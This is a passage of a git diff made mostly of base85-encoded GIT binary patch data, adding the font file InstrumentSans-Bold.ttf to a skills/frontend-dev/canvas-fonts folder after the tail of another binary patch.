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 DDHl1b literal 0 HcmV?d00001 diff --git a/skills/frontend-dev/canvas-fonts/InstrumentSans-Bold.ttf b/skills/frontend-dev/canvas-fonts/InstrumentSans-Bold.ttf new file mode 100644 index 0000000000000000000000000000000000000000..f602dcef23bb96d8d2f5c74c595ecf400c5ec722 GIT binary patch literal 68084 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 